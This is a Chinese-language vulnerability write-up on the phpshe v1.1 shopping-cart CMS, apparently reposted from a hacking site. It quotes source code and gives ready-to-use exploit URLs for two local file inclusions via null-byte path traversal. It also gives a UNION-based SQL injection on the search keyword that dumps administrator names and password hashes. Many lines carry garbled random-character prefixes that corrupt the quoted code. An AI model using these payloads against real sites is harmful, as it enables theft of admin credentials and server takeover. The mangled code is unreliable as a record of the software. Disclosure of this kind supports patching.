phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
6 Q; D- P1 j! K1 j/* Phpshe v1.1 Vulnerability
3 d" r2 w: L' L, j& x' b* e/* ========================
' T1 j" }( r, a& E/* By: : Kn1f3
  n* T" O, s: X+ Y4 Z/* E-Mail : 681796@qq.com
$ `4 y# J4 j" I: ?/*******************************************************/
0×00 整体大概参数传输

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//common.php
/ h1 l# _% H( v( {: Nif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
9 A* s" @$ }+ d4 q9 {}
else {
0 _9 y" h* w% ?3 z!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
' r6 x6 A% a9 D* ]!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
8 P, X& x, G1 j5 q9 Y0 u& jsession_start();
8 R: r: q; a6 ~/ t!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
0 K4 _% q8 v, S# y, a5 C# C* \!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

' u8 o; D2 v7 x6 X& `, t1 n0×01 包含漏洞

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//首页文件
& u: K* O+ j( n2 b. U# R* v" a<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
- S+ F& R- M! g* ]  g2 epe_result();
" v5 D% `) \! Y6 C) X?>
: P) S* C7 F4 o& x1 _9 F) o7 v( [3 G//common 文件 第15行开始
url路由配置
6 g$ `/ e, `5 D4 z; M( B$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
2 y. A$ i: ^) T, v7 e, {0 f$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

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0×02 搜索注入
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<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
8 S4 {1 o& A" T6 @4 U( P$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
( K/ C* `& o  N! B$sqlwhere = " and `product_state` = 1";
2 s- E; L) H! Ype_lead('hook/category.hook.php');
if ($category_id) {
4 k& M# [) O7 G; awhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
$ o! m( G) N5 I& z" i* i; i5 @if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
! D0 x. L$ T2 m7 N6 W$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
7 m4 \5 M" l5 v; J" J}
' ?& y2 x/ y6 C2 b. delse {
6 I; G0 a$ r. V. L& ?' w- G$ a1 z$sqlwhere .= " order by `product_id` desc";
}
! G5 ?4 i4 X7 _- Q  Y& N$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
2 a# t& \1 v3 H$product_hotlist = product_hotlist();
//当前路径
( z/ B/ R0 g3 W$nowpath = category_path($category_id);
! V% `& J2 `/ k. |$seo = pe_seo($info['category_name']);
, X! \. h& S' m! q# zinclude(pe_tpl('product_list.html'));
; P, j( e0 D+ C3 Y3 ]. W//跟进selectall函数库
. t1 R6 S+ k6 ~" {% u/ y. P$ Npublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
4 W6 G' F# j' j2 g+ Q{
//处理条件语句
! C" I2 r9 M9 ?, a4 T$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
/ b3 O' ?# }9 ^//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
5 ?4 `% o, Y5 [

</code>

" j' R' D1 x6 Q5 V, v; w- W/ @0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

4 [. F- m8 S; G$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

: o: ~) ?6 X% m. dif ($k == 'bank') {

" J2 v& n- R+ J5 P, }5 H7 U$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

# J6 K& p# S3 z1 C. ~}

, q6 G# H$ q! |- S* c; ?: }}

: \/ R% E4 d7 d- `: b) {0 W5 ~$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

) }% X2 [# M# J+ X8 {!$order['order_id'] && pe_error('订单号错误...');

# Y& B8 r* W3 p; y. ]0 U7 ?if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

2 M" ^/ I9 N6 ?6 r) H/ q0 i: M}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

+ g% K; ^9 c& V6 J5 uelse {

pe_error('支付错误...');

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$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

9 |$ E7 [2 V1 J5 H( `break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
7 ]' J8 ~1 l# P0 ?' J5 ?- Ahttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg